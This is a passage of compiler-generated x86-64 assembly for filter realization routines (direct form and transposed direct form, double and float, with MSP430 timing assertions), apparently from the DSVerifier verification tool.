mov rax, QWORD PTR -16[rbp]
lea rdx, 8[rax]
mov QWORD PTR -16[rbp], rdx
movsd xmm0, QWORD PTR [rax]
mulsd xmm1, xmm0
mov rax, QWORD PTR -56[rbp]
movsd xmm0, QWORD PTR [rax]
subsd xmm0, xmm1
mov rax, QWORD PTR -56[rbp]
movsd QWORD PTR [rax], xmm0
add DWORD PTR -36[rbp], 1
.L649:
mov eax, DWORD PTR -36[rbp]
cmp eax, DWORD PTR -84[rbp]
jl .L650
mov rax, QWORD PTR -56[rbp]
movsd xmm0, QWORD PTR [rax]
addsd xmm0, QWORD PTR -64[rbp]
mov rax, QWORD PTR -56[rbp]
movsd QWORD PTR [rax], xmm0
mov rax, QWORD PTR -56[rbp]
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -72[rbp]
movsd xmm1, QWORD PTR [rax]
divsd xmm0, xmm1
mov rax, QWORD PTR -56[rbp]
movsd QWORD PTR [rax], xmm0
mov rax, QWORD PTR -56[rbp]
mov QWORD PTR -16[rbp], rax
mov DWORD PTR -40[rbp], 0
jmp .L651
.L652:
mov rax, QWORD PTR -24[rbp]
lea rdx, 8[rax]
mov QWORD PTR -24[rbp], rdx
movsd xmm1, QWORD PTR [rax]
mov rax, QWORD PTR -16[rbp]
lea rdx, 8[rax]
mov QWORD PTR -16[rbp], rdx
movsd xmm0, QWORD PTR [rax]
mulsd xmm0, xmm1
movsd xmm1, QWORD PTR -8[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
add DWORD PTR -40[rbp], 1
.L651:
mov eax, DWORD PTR -40[rbp]
cmp eax, DWORD PTR -88[rbp]
jl .L652
movsd xmm0, QWORD PTR -8[rbp]
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE99:
.size double_direct_form_2, .-double_direct_form_2
.globl double_transposed_direct_form_2
.type double_transposed_direct_form_2, @function
double_transposed_direct_form_2:
.LFB100:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -40[rbp], rdi
movsd QWORD PTR -48[rbp], xmm0
mov QWORD PTR -56[rbp], rsi
mov QWORD PTR -64[rbp], rdx
mov DWORD PTR -68[rbp], ecx
mov DWORD PTR -72[rbp], r8d
pxor xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
mov rax, QWORD PTR -56[rbp]
add rax, 8
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -64[rbp]
mov QWORD PTR -16[rbp], rax
mov eax, DWORD PTR -68[rbp]
cmp DWORD PTR -72[rbp], eax
cmovge eax, DWORD PTR -72[rbp]
mov DWORD PTR -28[rbp], eax
mov rax, QWORD PTR -16[rbp]
lea rdx, 8[rax]
mov QWORD PTR -16[rbp], rdx
movsd xmm0, QWORD PTR [rax]
movapd xmm1, xmm0
mulsd xmm1, QWORD PTR -48[rbp]
mov rax, QWORD PTR -40[rbp]
movsd xmm0, QWORD PTR [rax]
addsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
mov rax, QWORD PTR -56[rbp]
movsd xmm1, QWORD PTR [rax]
movsd xmm0, QWORD PTR -8[rbp]
divsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
mov DWORD PTR -32[rbp], 0
jmp .L655
.L658:
mov eax, DWORD PTR -32[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rdx, rax
mov eax, DWORD PTR -32[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rcx
movsd xmm0, QWORD PTR [rdx]
movsd QWORD PTR [rax], xmm0
mov eax, DWORD PTR -68[rbp]
sub eax, 1
cmp DWORD PTR -32[rbp], eax
jge .L656
mov rax, QWORD PTR -24[rbp]
lea rdx, 8[rax]
mov QWORD PTR -24[rbp], rdx
movsd xmm0, QWORD PTR [rax]
movapd xmm1, xmm0
mulsd xmm1, QWORD PTR -8[rbp]
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
subsd xmm0, xmm1
movsd QWORD PTR [rax], xmm0
.L656:
mov eax, DWORD PTR -72[rbp]
sub eax, 1
cmp DWORD PTR -32[rbp], eax
jge .L657
mov rax, QWORD PTR -16[rbp]
lea rdx, 8[rax]
mov QWORD PTR -16[rbp], rdx
movsd xmm0, QWORD PTR [rax]
movapd xmm1, xmm0
mulsd xmm1, QWORD PTR -48[rbp]
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
addsd xmm0, xmm1
movsd QWORD PTR [rax], xmm0
.L657:
add DWORD PTR -32[rbp], 1
.L655:
mov eax, DWORD PTR -28[rbp]
sub eax, 1
cmp DWORD PTR -32[rbp], eax
jl .L658
movsd xmm0, QWORD PTR -8[rbp]
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE100:
.size double_transposed_direct_form_2, .-double_transposed_direct_form_2
.globl float_direct_form_1
.type float_direct_form_1, @function
float_direct_form_1:
.LFB101:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -56[rbp], rdi
mov QWORD PTR -64[rbp], rsi
mov QWORD PTR -72[rbp], rdx
mov QWORD PTR -80[rbp], rcx
mov DWORD PTR -84[rbp], r8d
mov DWORD PTR -88[rbp], r9d
pxor xmm0, xmm0
movss DWORD PTR -44[rbp], xmm0
mov rax, QWORD PTR -72[rbp]
add rax, 4
mov QWORD PTR -32[rbp], rax
mov eax, DWORD PTR -84[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -80[rbp]
mov QWORD PTR -16[rbp], rax
mov eax, DWORD PTR -88[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -40[rbp], 0
jmp .L661
.L662:
mov rax, QWORD PTR -16[rbp]
lea rdx, 4[rax]
mov QWORD PTR -16[rbp], rdx
movss xmm1, DWORD PTR [rax]
mov rax, QWORD PTR -8[rbp]
lea rdx, -4[rax]
mov QWORD PTR -8[rbp], rdx
movss xmm0, DWORD PTR [rax]
mulss xmm0, xmm1
movss xmm1, DWORD PTR -44[rbp]
addss xmm0, xmm1
movss DWORD PTR -44[rbp], xmm0
add DWORD PTR -40[rbp], 1
.L661:
mov eax, DWORD PTR -40[rbp]
cmp eax, DWORD PTR -88[rbp]
jl .L662
mov DWORD PTR -36[rbp], 1
jmp .L663
.L664:
mov rax, QWORD PTR -32[rbp]
lea rdx, 4[rax]
mov QWORD PTR -32[rbp], rdx
movss xmm1, DWORD PTR [rax]
mov rax, QWORD PTR -24[rbp]
lea rdx, -4[rax]
mov QWORD PTR -24[rbp], rdx
movss xmm0, DWORD PTR [rax]
mulss xmm1, xmm0
movss xmm0, DWORD PTR -44[rbp]
subss xmm0, xmm1
movss DWORD PTR -44[rbp], xmm0
add DWORD PTR -36[rbp], 1
.L663:
mov eax, DWORD PTR -36[rbp]
cmp eax, DWORD PTR -84[rbp]
jl .L664
mov rax, QWORD PTR -72[rbp]
movss xmm1, DWORD PTR [rax]
movss xmm0, DWORD PTR -44[rbp]
divss xmm0, xmm1
movss DWORD PTR -44[rbp], xmm0
movss xmm0, DWORD PTR -44[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE101:
.size float_direct_form_1, .-float_direct_form_1
.globl float_direct_form_2
.type float_direct_form_2, @function
float_direct_form_2:
.LFB102:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -56[rbp], rdi
movss DWORD PTR -60[rbp], xmm0
mov QWORD PTR -72[rbp], rsi
mov QWORD PTR -80[rbp], rdx
mov DWORD PTR -64[rbp], ecx
mov DWORD PTR -84[rbp], r8d
pxor xmm0, xmm0
movss DWORD PTR -36[rbp], xmm0
mov rax, QWORD PTR -72[rbp]
add rax, 4
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -80[rbp]
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -56[rbp]
add rax, 4
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -28[rbp], 1
jmp .L667
.L668:
mov rax, QWORD PTR -24[rbp]
lea rdx, 4[rax]
mov QWORD PTR -24[rbp], rdx
movss xmm1, DWORD PTR [rax]
mov rax, QWORD PTR -8[rbp]
lea rdx, 4[rax]
mov QWORD PTR -8[rbp], rdx
movss xmm0, DWORD PTR [rax]
mulss xmm1, xmm0
mov rax, QWORD PTR -56[rbp]
movss xmm0, DWORD PTR [rax]
subss xmm0, xmm1
mov rax, QWORD PTR -56[rbp]
movss DWORD PTR [rax], xmm0
add DWORD PTR -28[rbp], 1
.L667:
mov eax, DWORD PTR -28[rbp]
cmp eax, DWORD PTR -64[rbp]
jl .L668
mov rax, QWORD PTR -56[rbp]
movss xmm0, DWORD PTR [rax]
addss xmm0, DWORD PTR -60[rbp]
mov rax, QWORD PTR -56[rbp]
movss DWORD PTR [rax], xmm0
mov rax, QWORD PTR -56[rbp]
movss xmm0, DWORD PTR [rax]
mov rax, QWORD PTR -72[rbp]
movss xmm1, DWORD PTR [rax]
divss xmm0, xmm1
mov rax, QWORD PTR -56[rbp]
movss DWORD PTR [rax], xmm0
mov rax, QWORD PTR -56[rbp]
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -32[rbp], 0
jmp .L669
.L670:
mov rax, QWORD PTR -16[rbp]
lea rdx, 4[rax]
mov QWORD PTR -16[rbp], rdx
movss xmm1, DWORD PTR [rax]
mov rax, QWORD PTR -8[rbp]
lea rdx, 4[rax]
mov QWORD PTR -8[rbp], rdx
movss xmm0, DWORD PTR [rax]
mulss xmm0, xmm1
movss xmm1, DWORD PTR -36[rbp]
addss xmm0, xmm1
movss DWORD PTR -36[rbp], xmm0
add DWORD PTR -32[rbp], 1
.L669:
mov eax, DWORD PTR -32[rbp]
cmp eax, DWORD PTR -84[rbp]
jl .L670
movss xmm0, DWORD PTR -36[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE102:
.size float_direct_form_2, .-float_direct_form_2
.globl float_transposed_direct_form_2
.type float_transposed_direct_form_2, @function
float_transposed_direct_form_2:
.LFB103:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -40[rbp], rdi
movss DWORD PTR -44[rbp], xmm0
mov QWORD PTR -56[rbp], rsi
mov QWORD PTR -64[rbp], rdx
mov DWORD PTR -48[rbp], ecx
mov DWORD PTR -68[rbp], r8d
pxor xmm0, xmm0
movss DWORD PTR -24[rbp], xmm0
mov rax, QWORD PTR -56[rbp]
add rax, 4
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -64[rbp]
mov QWORD PTR -8[rbp], rax
mov eax, DWORD PTR -48[rbp]
cmp DWORD PTR -68[rbp], eax
cmovge eax, DWORD PTR -68[rbp]
mov DWORD PTR -20[rbp], eax
mov rax, QWORD PTR -8[rbp]
lea rdx, 4[rax]
mov QWORD PTR -8[rbp], rdx
movss xmm0, DWORD PTR [rax]
movaps xmm1, xmm0
mulss xmm1, DWORD PTR -44[rbp]
mov rax, QWORD PTR -40[rbp]
movss xmm0, DWORD PTR [rax]
addss xmm0, xmm1
movss DWORD PTR -24[rbp], xmm0
mov rax, QWORD PTR -56[rbp]
movss xmm1, DWORD PTR [rax]
movss xmm0, DWORD PTR -24[rbp]
divss xmm0, xmm1
movss DWORD PTR -24[rbp], xmm0
mov DWORD PTR -28[rbp], 0
jmp .L673
.L676:
mov eax, DWORD PTR -28[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rdx, rax
mov eax, DWORD PTR -28[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -48[rbp]
sub eax, 1
cmp DWORD PTR -28[rbp], eax
jge .L674
mov rax, QWORD PTR -16[rbp]
lea rdx, 4[rax]
mov QWORD PTR -16[rbp], rdx
movss xmm0, DWORD PTR [rax]
movaps xmm1, xmm0
mulss xmm1, DWORD PTR -24[rbp]
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
subss xmm0, xmm1
movss DWORD PTR [rax], xmm0
.L674:
mov eax, DWORD PTR -68[rbp]
sub eax, 1
cmp DWORD PTR -28[rbp], eax
jge .L675
mov rax, QWORD PTR -8[rbp]
lea rdx, 4[rax]
mov QWORD PTR -8[rbp], rdx
movss xmm0, DWORD PTR [rax]
movaps xmm1, xmm0
mulss xmm1, DWORD PTR -44[rbp]
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
addss xmm0, xmm1
movss DWORD PTR [rax], xmm0
.L675:
add DWORD PTR -28[rbp], 1
.L673:
mov eax, DWORD PTR -20[rbp]
sub eax, 1
cmp DWORD PTR -28[rbp], eax
jl .L676
movss xmm0, DWORD PTR -24[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE103:
.size float_transposed_direct_form_2, .-float_transposed_direct_form_2
.section .rodata
.align 8
.LC44:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
.align 8
.LC45:
.string "(double) timer1 * hw.cycle <= ds.sample_time"
.text
.globl double_direct_form_1_MSP430
.type double_direct_form_1_MSP430, @function
double_direct_form_1_MSP430:
.LFB104:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 112
mov QWORD PTR -72[rbp], rdi
mov QWORD PTR -80[rbp], rsi
mov QWORD PTR -88[rbp], rdx
mov QWORD PTR -96[rbp], rcx
mov DWORD PTR -100[rbp], r8d
mov DWORD PTR -104[rbp], r9d
mov DWORD PTR -52[rbp], 0
pxor xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
mov rax, QWORD PTR -88[rbp]
add rax, 8
mov QWORD PTR -40[rbp], rax
mov eax, DWORD PTR -100[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -72[rbp]
add rax, rdx
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -96[rbp]
mov QWORD PTR -24[rbp], rax
mov eax, DWORD PTR -104[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -80[rbp]
add rax, rdx
mov QWORD PTR -16[rbp], rax
add DWORD PTR -52[rbp], 91
mov DWORD PTR -48[rbp], 0
jmp .L679
.L680:
mov rax, QWORD PTR -24[rbp]
lea rdx, 8[rax]
mov QWORD PTR -24[rbp], rdx
movsd xmm1, QWORD PTR [rax]
mov rax, QWORD PTR -16[rbp]
lea rdx, -8[rax]
mov QWORD PTR -16[rbp], rdx
movsd xmm0, QWORD PTR [rax]
mulsd xmm0, xmm1
movsd xmm1, QWORD PTR -8[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
add DWORD PTR -52[rbp], 47
add DWORD PTR -48[rbp], 1
.L679:
mov eax, DWORD PTR -48[rbp]
cmp eax, DWORD PTR -104[rbp]
jl .L680
mov DWORD PTR -44[rbp], 1
jmp .L681
.L682:
mov rax, QWORD PTR -40[rbp]
lea rdx, 8[rax]
mov QWORD PTR -40[rbp], rdx
movsd xmm1, QWORD PTR [rax]
mov rax, QWORD PTR -32[rbp]
lea rdx, -8[rax]
mov QWORD PTR -32[rbp], rdx
movsd xmm0, QWORD PTR [rax]
mulsd xmm1, xmm0
movsd xmm0, QWORD PTR -8[rbp]
subsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
add DWORD PTR -52[rbp], 57
add DWORD PTR -44[rbp], 1
.L681:
mov eax, DWORD PTR -44[rbp]
cmp eax, DWORD PTR -100[rbp]
jl .L682
add DWORD PTR -52[rbp], 3
pxor xmm1, xmm1
cvtsi2sd xmm1, DWORD PTR -52[rbp]
movsd xmm0, QWORD PTR hw[rip+16]
mulsd xmm1, xmm0
movsd xmm0, QWORD PTR ds[rip+1616]
comisd xmm0, xmm1
jnb .L683
lea rcx, __PRETTY_FUNCTION__.12[rip]
mov edx, 235
lea rsi, .LC44[rip]
lea rdi, .LC45[rip]
call __assert_fail@PLT
.L683:
movsd xmm0, QWORD PTR -8[rbp]
movq rax, xmm0
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE104:
.size double_direct_form_1_MSP430, .-double_direct_form_1_MSP430
.globl double_direct_form_2_MSP430
.type double_direct_form_2_MSP430, @function
double_direct_form_2_MSP430:
.LFB105:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 96
mov QWORD PTR -56[rbp], rdi
movsd QWORD PTR -64[rbp], xmm0
mov QWORD PTR -72[rbp], rsi
mov QWORD PTR -80[rbp], rdx
mov DWORD PTR -84[rbp], ecx
mov DWORD PTR -88[rbp], r8d
mov DWORD PTR -44[rbp], 0
pxor xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
mov rax, QWORD PTR -72[rbp]
add rax, 8
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -80[rbp]
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -56[rbp]
add rax, 8
mov QWORD PTR -16[rbp], rax
add DWORD PTR -44[rbp], 71
mov DWORD PTR -36[rbp], 1
jmp .L686
.L687:
mov rax, QWORD PTR -32[rbp]
lea rdx, 8[rax]
mov QWORD PTR -32[rbp], rdx
movsd xmm1, QWORD PTR [rax]
mov rax, QWORD PTR -16[rbp]
lea rdx, 8[rax]
mov QWORD PTR -16[rbp], rdx
movsd xmm0, QWORD PTR [rax]
mulsd xmm1, xmm0
mov rax, QWORD PTR -56[rbp]
movsd xmm0, QWORD PTR [rax]
subsd xmm0, xmm1
mov rax, QWORD PTR -56[rbp]
movsd QWORD PTR [rax], xmm0
add DWORD PTR -44[rbp], 54
add DWORD PTR -36[rbp], 1
.L686:
mov eax, DWORD PTR -36[rbp]
cmp eax, DWORD PTR -84[rbp]
jl .L687
mov rax, QWORD PTR -56[rbp]
movsd xmm0, QWORD PTR [rax]
addsd xmm0, QWORD PTR -64[rbp]
mov rax, QWORD PTR -56[rbp]
movsd QWORD PTR [rax], xmm0
mov rax, QWORD PTR -56[rbp]
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -72[rbp]
movsd xmm1, QWORD PTR [rax]
divsd xmm0, xmm1
mov rax, QWORD PTR -56[rbp]
movsd QWORD PTR [rax], xmm0
mov rax, QWORD PTR -56[rbp]
mov QWORD PTR -16[rbp], rax
mov DWORD PTR -40[rbp], 0
jmp .L688
.L689:
mov rax, QWORD PTR -24[rbp]
lea rdx, 8[rax]
mov QWORD PTR -24[rbp], rdx
movsd xmm1, QWORD PTR [rax]
mov rax, QWORD PTR -16[rbp]
lea rdx, 8[rax]
mov QWORD PTR -16[rbp], rdx
movsd xmm0, QWORD PTR [rax]
mulsd xmm0, xmm1
movsd xmm1, QWORD PTR -8[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
add DWORD PTR -44[rbp], 46
add DWORD PTR -40[rbp], 1
.L688:
mov eax, DWORD PTR -40[rbp]
cmp eax, DWORD PTR -88[rbp]
jl .L689
add DWORD PTR -44[rbp], 38
pxor xmm1, xmm1
cvtsi2sd xmm1, DWORD PTR -44[rbp]
movsd xmm0, QWORD PTR hw[rip+16]
mulsd xmm1, xmm0
movsd xmm0, QWORD PTR ds[rip+1616]
comisd xmm0, xmm1
jnb .L690
lea rcx, __PRETTY_FUNCTION__.11[rip]
mov edx, 262
lea rsi, .LC44[rip]
lea rdi, .LC45[rip]
call __assert_fail@PLT
.L690:
movsd xmm0, QWORD PTR -8[rbp]
movq rax, xmm0
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE105:
.size double_direct_form_2_MSP430, .-double_direct_form_2_MSP430
.globl double_transposed_direct_form_2_MSP430
.type double_transposed_direct_form_2_MSP430, @function
double_transposed_direct_form_2_MSP430:
.LFB106:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 96
mov QWORD PTR -56[rbp], rdi
movsd QWORD PTR -64[rbp], xmm0
mov QWORD PTR -72[rbp], rsi
mov QWORD PTR -80[rbp], rdx
mov DWORD PTR -84[rbp], ecx
mov DWORD PTR -88[rbp], r8d
mov DWORD PTR -36[rbp], 0
pxor xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
mov rax, QWORD PTR -72[rbp]
add rax, 8
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -80[rbp]
mov QWORD PTR -16[rbp], rax
mov eax, DWORD PTR -84[rbp]
cmp DWORD PTR -88[rbp], eax
cmovge eax, DWORD PTR -88[rbp]
mov DWORD PTR -28[rbp], eax
mov rax, QWORD PTR -16[rbp]
lea rdx, 8[rax]
mov QWORD PTR -16[rbp], rdx
movsd xmm0, QWORD PTR [rax]
movapd xmm1, xmm0
mulsd xmm1, QWORD PTR -64[rbp]
mov rax, QWORD PTR -56[rbp]
movsd xmm0, QWORD PTR [rax]
addsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
add DWORD PTR -36[rbp], 105
mov DWORD PTR -32[rbp], 0
jmp .L693
.L696:
mov eax, DWORD PTR -32[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rdx, rax
mov eax, DWORD PTR -32[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rcx
movsd xmm0, QWORD PTR [rdx]
movsd QWORD PTR [rax], xmm0
mov eax, DWORD PTR -84[rbp]
sub eax, 1
cmp DWORD PTR -32[rbp], eax
jge .L694
mov rax, QWORD PTR -24[rbp]
lea rdx, 8[rax]
mov QWORD PTR -24[rbp], rdx
movsd xmm0, QWORD PTR [rax]
movapd xmm1, xmm0
mulsd xmm1, QWORD PTR -8[rbp]
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
subsd xmm0, xmm1
movsd QWORD PTR [rax], xmm0
add DWORD PTR -36[rbp], 41
.L694:
mov eax, DWORD PTR -88[rbp]
sub eax, 1
cmp DWORD PTR -32[rbp], eax
jge .L695
mov rax, QWORD PTR -16[rbp]
lea rdx, 8[rax]
mov QWORD PTR -16[rbp], rdx
movsd xmm0, QWORD PTR [rax]
movapd xmm1, xmm0
mulsd xmm1, QWORD PTR -64[rbp]
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
addsd xmm0, xmm1
movsd QWORD PTR [rax], xmm0
add DWORD PTR -36[rbp], 38
.L695:
add DWORD PTR -36[rbp], 54
add DWORD PTR -32[rbp], 1
.L693:
mov eax, DWORD PTR -28[rbp]
sub eax, 1
cmp DWORD PTR -32[rbp], eax
jl .L696
add DWORD PTR -36[rbp], 7
pxor xmm1, xmm1
cvtsi2sd xmm1, DWORD PTR -36[rbp]
movsd xmm0, QWORD PTR hw[rip+16]
mulsd xmm1, xmm0
movsd xmm0, QWORD PTR ds[rip+1616]
comisd xmm0, xmm1
jnb .L697
lea rcx, __PRETTY_FUNCTION__.10[rip]
mov edx, 291
lea rsi, .LC44[rip]
lea rdi, .LC45[rip]
call __assert_fail@PLT
.L697:
movsd xmm0, QWORD PTR -8[rbp]
movq rax, xmm0
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE106:
.size double_transposed_direct_form_2_MSP430, .-double_transposed_direct_form_2_MSP430
.globl generic_timing_double_direct_form_1
.type generic_timing_double_direct_form_1, @function
generic_timing_double_direct_form_1:
.LFB107:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -56[rbp], rdi
mov QWORD PTR -64[rbp], rsi
mov QWORD PTR -72[rbp], rdx
mov QWORD PTR -80[rbp], rcx
mov DWORD PTR -84[rbp], r8d
mov DWORD PTR -88[rbp], r9d
mov edx, DWORD PTR hw[rip+24]
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
mov ecx, eax
mov edx, DWORD PTR hw[rip+28]
mov eax, edx
add eax, eax
add eax, edx
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+32]
add edx, eax
mov eax, DWORD PTR hw[rip+36]
lea ecx, [rdx+rax]
mov edx, DWORD PTR hw[rip+40]
mov eax, edx
add eax, eax
add eax, edx
add ecx, eax
mov edx, DWORD PTR hw[rip+44]
mov eax, edx
add eax, eax
add eax, edx
sal eax, 2
lea edx, [rcx+rax]
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
pxor xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
mov rax, QWORD PTR -72[rbp]
add rax, 8
mov QWORD PTR -40[rbp], rax
mov eax, DWORD PTR -84[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -80[rbp]
mov QWORD PTR -24[rbp], rax
mov eax, DWORD PTR -88[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
mov QWORD PTR -16[rbp], rax
mov edx, DWORD PTR hw[rip+44]
mov eax, DWORD PTR hw[rip+48]
add edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
mov edx, eax
mov eax, DWORD PTR hw[rip+52]
add edx, eax
mov eax, DWORD PTR hw[rip+56]
add edx, eax
mov eax, DWORD PTR hw[rip+60]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+64]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+68]
add edx, eax
mov eax, DWORD PTR hw[rip+72]
add eax, edx
lea edx, [rax+rax]
mov eax, DWORD PTR hw[rip+76]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov eax, DWORD PTR hw[rip+44]
lea edx, [rax+rax]
mov eax, DWORD PTR hw[rip+80]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov DWORD PTR -48[rbp], 0
jmp .L700
.L701:
mov edx, DWORD PTR hw[rip+48]
mov eax, edx
sal eax, 2
add eax, edx
sal eax, 2
mov ecx, eax
mov edx, DWORD PTR hw[rip+84]
mov eax, edx
add eax, eax
add eax, edx
sal eax, 3
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+52]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+56]
add edx, eax
mov eax, DWORD PTR hw[rip+88]
lea ecx, [rdx+rax]
mov edx, DWORD PTR hw[rip+44]
mov eax, edx
sal eax, 2
add eax, edx
add eax, eax
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+92]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+96]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+76]
add edx, eax
mov eax, DWORD PTR hw[rip+100]
add edx, eax
mov eax, DWORD PTR hw[rip+104]
add edx, eax
mov eax, DWORD PTR hw[rip+76]
add edx, eax
mov eax, DWORD PTR hw[rip+112]
add edx, eax
mov eax, DWORD PTR hw[rip+80]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
